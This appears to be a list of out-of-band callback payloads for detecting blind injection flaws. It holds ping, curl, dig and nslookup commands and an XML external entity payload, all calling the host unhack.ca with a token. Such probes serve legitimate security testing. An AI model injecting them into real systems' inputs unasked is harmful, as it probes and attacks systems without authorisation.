$ ping -c1 -p 0036a110461f19ee950f83cafe98ba00 unhack.ca
$ curl http://unhack.ca/p/36a110461f19ee950f83cafe98ba
$ dig 36a110461f19ee950f83cafe98ba @unhack.ca
$ dig 36a110461f19ee950f83cafe98ba.ns.unhack.ca
C:\> nslookup 36a110461f19ee950f83cafe98ba unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/36a110461f19ee950f83cafe98ba">]> <foo>&xxe;</foo>